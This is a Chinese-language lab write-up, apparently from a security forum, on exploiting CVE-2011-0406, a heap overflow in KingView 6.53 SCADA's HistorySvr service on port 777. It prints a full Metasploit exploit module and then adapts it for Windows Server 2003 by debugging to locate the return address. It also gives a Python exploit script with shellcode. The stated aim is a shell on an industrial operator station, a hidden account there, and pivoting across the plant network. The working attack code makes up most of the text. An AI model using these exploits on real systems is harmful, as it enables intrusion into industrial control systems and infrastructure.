WellinTech KingView 6.53 版本中的 HistorySvr.exe 中存在基于堆的缓冲区溢出漏洞。攻击者可借助对 TCP 端口 777 的超长请求执行任意代码,实现在 windows 操作员站上的漏洞利用,但现有metasploit中kingview模块无法利用成功,本文基于此进行了分析研究。
实验原理
组态王 KingView
亚控科技是国内较早成立的自动化软件企业之一,专注于自主研发、市场营销和服务。 1995 年率先推出组态软件 KingView 系列产品,创立组态王品牌,经过近 20 年的快速发展, 目前公司的产品涵盖设备或工段级监控平台、厂级或集团级监控平台、生产实时智能平台, 产品及方案广泛应用于市政、油气、电力、矿山、物流、汽车、大型设备等行业。
设备或工段级监控平台即组态王 KingView 系列产品侧重于对各种设备运行状态、某个 工段或生产线运行情况的监视控制,厂级或集团级监控平台即 KingIOServer、KingSCADA、 KingHistria产品侧重于厂级或集团级生产运营情况的全面监控及管理;生产管理平台即 KingFusion 产品则侧重实现产线监控和生产管理的完美结合。
CVE-2011-0406
CVE-2011-0406 所描述的是亚控组态软件 KingView 6.53 存在的一个缓冲区溢出漏洞, 通过反汇编逆向分析结合动态调试可以发现该漏洞的成因,并可构造攻击代码对其所在上位 机进行攻击,进而获得上位机的远程控制权限。
亚控组态软件 KingView 6.53 是运行在 windows 系列操作系统上的组态软件,是亚控 公司推出的一款针对中小型项目推出的用于监视与控制自动化设备和过程的 SCADA 产品, 支持连接 1000 多个厂家近 4000 种设备,支持包括主流 PLC、变频器、仪表、特殊模块、板 卡及电力、楼宇等协议。通过分析发现安装Kingview6.53 软件后,系统会启动 HistorySvr.exe 进程并会以系统服务形式在上位机中运行,该服务会在 TCP 的 777 端口监听接收数据,在 接收到数据后 HistorySvr.exe 程序会有 3 次拷贝操作,前两次各 0x4000 字节,最后一次 0xC 字节,共计 0x800C(32780)字节,在写入缓冲区时,对数据校验不严格导致堆缓冲区溢出 而执行任意代码。通过构造带有 shellcode 的恶意数据包向目标主机的 777 端口进行发送即 可触发该漏洞。
HistorySvr.exe 进程循环接收业务数据(传感器上报数据),当接收到 异常格式的业务数据后进行数据处理时没有对数据长度进行严格校验,导致异常数据会覆盖缓冲区空间,当 CPU 按照指针地址执行指令时会跳转到攻击者设计好的 shellcode地址进行执行,导致执行攻击者构造的攻击代码。在实验过程中可以利用meatasploit攻击框架工具构造攻击代码,主要攻击载荷如下:
1 2 3 4 5 | sploit< < make_nops( 1020 )
sploit< < "\xC4\x04\x2B\x01"
sploit< < payload.encoded
sploit< < "x44" * ( 31752 - payload.encoded.length)
sploit< < [target.ret].pack( 'V' )
|
通过代码可看出数据包前 1020 位使用指令用来占位,接下来 4 位是我们构造的反向连接 shellcode 在内存空间中的地址,后面是加密后的shellcode 代码,然后用(31752-shellcode长度)位的 A 字符来填充补位,最后是用来覆盖 eax 寄存器的跳转地址。
通过缓冲区溢出漏洞可覆盖 eax 寄存器的数据,导致程序执行到 call dword ptr[eax+c] 时指针跳转到 shellcode地址进行执行,在实际测试中可以使用metasploit构造不同类型的shellcode,可以构造反向连接类型 shellcode。使用metasploit进行攻击测试的时候需要设置 3 个参数,RHOST为远程上位机IP 地址,RPORT为 HistorySvr.exe 进程监听端口,payload为攻击载荷shellcode。
设置好攻击目标及端口,并加载好shellcode 后可以使用 run命令进行攻击测试,攻击成功后会获得反向连接的控制权限,并可使用metasploit自带的工具meterpreter在远程机器上执行系统命令进行远程控制。
获得系统权限后可以该上位机为跳板对系统内其他设备进行二次渗透,可窃取系统运行数据、向传感器节点发送控制指令、使用病毒感染系统内网其他服务器,进而危害整个工控系统及基础设施安全。
实验环境
Windows Server 2003:KingView 6.53
Kali Linux:metasploit、Python等
网卡:Server2003 与Kali桥接为同一网卡
实验步骤
实验准备
收集 CVE-2011-0406 的信息和 EXP
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 | require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = GoodRanking
include Msf::Exploit::Remote::Tcp
def initialize(info = {})
super (update_info(info,
'Name' = > "Kingview 6.53 SCADA HMI HistorySvr Heap Overflow" ,
'Description' = > % q{
This module exploits a buffer overflow in Kingview 6.53 . By sending a specially
crafted request to port 777 (HistorySvr.exe), a remote attacker may be able to
gain arbitrary code execution without authentication.
},
'License' = > MSF_LICENSE,
'Version' = > "$Revision$" ,
'Author' = >
[
'Dillon Beresford' ,
'rick2600' ,
],
'References' = >
[
[ 'CVE' , '2011-0406' ],
[ 'OSVDB' , '70366' ],
[ 'Bugtraq' , '45727' ],
[ 'URL' , 'http://www.exploit-db.com/exploits/15957' ],
[ 'URL' , 'http://www.kb.cert.org/vuls/id/180119' ],
[ 'URL' , 'http://thesauceofutterpwnage.blogspot.com/2011/01/waking-up-sleeping-dragon.html' ],
],
'Payload' = >
{
'BadChars' = > "\x00\x0d\x0a\xff"
},
'Platform' = > 'win' ,
'Targets' = >
[
[ 'Windows XP SP1' , { 'Ret' = > 0x77ED73B4 } ],
[ 'Windows XP SP3 EN' , { 'Ret' = > 0x00A1FB84 } ],
],
'DisclosureDate' = > "9/28/2010" ,
'DefaultTarget' = > 0 ))
register_options( [ Opt::RPORT( 777 ) ], self . class )
end
def exploit
sploit = ''
if target.name = ~ / XP SP1 /
sploit << make_nops( 32812 )
sploit << "\xEB\x10"
sploit << "\x41" * 6
sploit << "\xAD\xBB\xC3\x77"
sploit << [target.ret].pack( 'V' )
sploit << make_nops( 8 )
sploit << payload.encoded
sploit << "\x44" * ( 1000 - payload.encoded.length)
elsif target.name = ~ / XP SP3 /
sploit << make_nops( 1024 )
sploit << payload.encoded
sploit << "\x44" * ( 31752 - payload.encoded.length)
sploit << [target.ret].pack( 'V' )
end
connect
print_status( "Trying target #{target.name}" )
sock.write(sploit)
select(nil, nil, nil, 5 )
handler
disconnect
end
end
|
将 rb 脚本存放至 metasploit的相应安装目录中进行调用。 例如:/exploits/windows/scada
开启 KingView6.53 打开软件预制 Kingdemo 工程。
确认目标及其 777 端口已经开放,并且防火墙是关闭状态。
攻击尝试
开启 Kali 安全测试主机作为攻击测试主机,确认msf框架 exploit 攻击代码录入并保存在/usr/share/metasploit-framework/modules/expolits/windows/scada 目录下。
启动metasploit,加载kingview模块
查看攻击靶机ip地址,置入 RHOST 参数中。进行攻击尝试。
由于攻击代码中并没有包含 windows Server 2003 版本,因此攻击未成功。
分析漏洞
我们可以看到目标靶机中的kingview服务已经停止,并且异常调试工具已经启动。
这表明 HistorySvr.exe 程序中的漏洞已经被触发且产生影响,只是 shellcode 并未在目标靶机中运行,程序执行未跳转到指定 shellcode 位置。
通过查看 OllyDbg 中 view—>log,可以看到程序终止在地址为 0x77F47530,异常原因 为 Access violation when reading [00B5084D]。
观察程序发生异常时执行代码为mov cl, byte ptr [eax + 5],即程序将执行该指针位置处的指令,然而该地址值为 0x00B5084D,并未获取到可执行指令。
利用代码针对目标为“windows XP SP3 EN”系统的返回地址 Ret 为异常时 EAX 寄存器 的值 0x00B50848。
修改利用代码
重新打开漏洞利用代码进行编辑,targets 中加入“windows 2003 SP0 EN”,target.name 加入“2003 SP0”,Ret 值暂时随意填写,exploit 函数构造溢出包时,加入定位字符“ABCA” 便于我们定位 payload 地址位置,具体代码如下所示。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 | require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = GoodRanking
include Msf::Exploit::Remote::Tcp
def initialize(info = {})
super (update_info(info,
'Name' = > "Kingview 6.53 SCADA HMI HistorySvr Heap Overflow" ,
'Description' = > % q{
This module exploits a buffer overflow in Kingview 6.53 . By sending a specially
crafted request to port 777 (HistorySvr.exe), a remote attacker may be able to
gain arbitrary code execution without authentication.
},
'License' = > MSF_LICENSE,
'Version' = > "$Revision$" ,
'Author' = >
[
'Dillon Beresford' ,
'rick2600' ,
],
'References' = >
[
[ 'CVE' , '2011-0406' ],
[ 'OSVDB' , '70366' ],
[ 'Bugtraq' , '45727' ],
[ 'URL' , 'http://www.exploit-db.com/exploits/15957' ],
[ 'URL' , 'http://www.kb.cert.org/vuls/id/180119' ],
[ 'URL' , 'http://thesauceofutterpwnage.blogspot.com/2011/01/waking-up-sleeping-dragon.html' ],
],
'Payload' = >
{
'BadChars' = > "\x00\x0d\x0a\xff"
},
'Platform' = > 'win' ,
'Targets' = >
[
[ 'Windows XP SP1' , { 'Ret' = > 0x77ED73B4 } ],
[ 'Windows XP SP3 EN' , { 'Ret' = > 0x00A1FB84 } ],
[ 'Windows 2003 SP0 EN' , { 'Ret' = > 0x00B50848 } ],
],
'DisclosureDate' = > "9/28/2010" ,
'DefaultTarget' = > 0 ))
register_options( [ Opt::RPORT( 777 ) ], self . class )
end
def exploit
sploit = ''
if target.name = ~ / XP SP1 /
sploit << make_nops( 32812 )
sploit << "\xEB\x10"
sploit << "\x41" * 6
sploit << "\xAD\xBB\xC3\x77"
sploit << [target.ret].pack( 'V' )
sploit << make_nops( 8 )
sploit << payload.encoded
sploit << "\x44" * ( 1000 - payload.encoded.length)
elsif target.name = ~ / XP SP3 /
sploit << make_nops( 1024 )
sploit << payload.encoded
sploit << "\x44" * ( 31752 - payload.encoded.length)
sploit << [target.ret].pack( 'V' )
elsif target.name = ~ / 2003 SP0 /
sploit << make_nops( 1020 )
sploit << "ABCA"
sploit << payload.encoded
sploit << "\x44" * ( 31752 - payload.encoded.length)
sploit << [target.ret].pack( 'V' )
end
connect
print_status( "Trying target #{target.name}" )
sock.write(sploit)
select(nil, nil, nil, 5 )
handler
disconnect
end
end
|
进入msf,重新 reaload module,可以看到新加入的目标代码已经加载。
这里注意,一定要更换攻击方式,由原来的1变为2.
再次攻击后,在memory中查找定位字符串位置 ABCA,如下图所示。(图中为我第一次设置的标志值ABCD,方法相同)
可以看到“ABCA”字符串在地址 0x00B404C0 位置,并且Payload需要在此基础上加4个字节,其实位置在 0x00B404C4。
需根据上步骤定位出的 shellcode 位置来调整 Ret 的值,使得 eax + 0xC 指向输入数据包中的某个 4 字节数据。定位字符“ABCA”位 置是 0x00B404C0,减去 0xC 得到 eax 寄存器的值为 0x00B404C4,所以 Ret 的值为 0x00B404C4。修改后的利用程序代码如下所示:
1 2 3 4 5 6 7 8 9 | elsif target.name = ~ / 2003 SP0 /
sploit << make_nops( 1020 )
sploit << "\xC4\x04\xB4\x00"
sploit << payload.encoded
sploit << "\x44" * ( 31752 - payload.encoded.length)
sploit << [target.ret].pack( 'V' )
end
|
再次利用可成功通过漏洞获取系统权限。
预期结果
成功获取win 2003 操作员站的shell,并可以在操作员站建立隐蔽账号。
PLUS
尝试通过Python脚本的方式进行 EXP 编写进行手工测试。
下面给出一个参考:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 | import os
import socket
import sys
host = sys.argv[ 1 ]
port = int (sys.argv[ 2 ])
print " KingView 6.53 SCADA HMI Heap Smashing Exploit "
print " Credits: D1N | twitter.com/D1N "
shellcode = ( "\x33\xC0\x50\x68\x63\x61\x6C\x63\x54\x5B\x50\x53\xB9"
"\x44\x80\xc2\x77"
"\xFF\xD1\x90\x90" )
exploit = ( "\x90" * 1024 + "\x44" * 31788 )
exploit + = ( "\xeb\x14" )
exploit + = ( "\x44" * 6 )
exploit + = ( "\xad\xbb\xc3\x77" )
exploit + = ( "\xb4\x73\xed\x77" )
exploit + = ( "\x90" * 21 )
exploit + = shellcode
print " [+] Herrow Sweeping Dragon..."
print " [+] Sending payload..."
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host,port))
s.send(exploit)
data = s.recv( 1024 )
print " [+] Closing connection.."
s.close()
print " [+] Done!"
|
[培训]二进制漏洞攻防(第3期);满10人开班;模糊测试与工具使用二次开发;网络协议漏洞挖掘;Linux内核漏洞挖掘与利用;AOSP漏洞挖掘与利用;代码审计。
最后于 2024-1-10 09:44
被FSTARK编辑
,原因: